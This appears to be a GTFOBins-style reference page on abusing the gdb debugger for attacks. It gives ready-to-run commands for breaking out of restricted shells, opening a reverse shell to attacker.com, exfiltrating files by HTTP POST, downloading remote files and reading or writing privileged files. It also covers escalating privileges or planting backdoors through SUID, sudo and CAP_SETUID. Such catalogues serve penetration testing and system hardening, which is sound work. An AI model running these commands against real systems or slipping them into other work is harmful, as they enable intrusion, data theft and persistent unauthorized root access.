.. / gdb

Star

• Shell
• Reverse shell
• File upload
• File download
• File write
• File read
• Library load
• SUID
• Sudo
• Capabilities

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• gdb -nx -ex '!sh' -ex quit

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

• This requires that GDB is compiled with Python support. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

  export RHOST=attacker.com
  export RPORT=12345
  gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")' -ex quit

File upload

It can exfiltrate files on the network.

• This requires that GDB is compiled with Python support. Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

  export URL=http://attacker.com/
  export LFILE=file_to_send
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
  else: import urllib as u, urllib2 as r
  r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit

• This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.

  export LPORT=8888
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import http.server as s, socketserver as ss
  else: import SimpleHTTPServer as s, SocketServer as ss
  ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit

File download

It can download remote files.

• This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.

  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r
  else: import urllib as r
  r.urlretrieve(e["URL"], e["LFILE"])' -ex quit

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• This requires that GDB is compiled with Python support.

  LFILE=file_to_write
  gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit

Library load

It loads shared libraries that may be used to run code in the binary execution context.

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• This requires that GDB is compiled with Python support.

  sudo sh -c 'cp $(which gdb) .; chmod +s ./gdb'
  
  ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• sudo gdb -nx -ex '!sh' -ex quit

Capabilities

It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set.

• This requires that GDB is compiled with Python support.

  cp $(which gdb) .
  sudo setcap cap_setuid+ep gdb
  
  ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit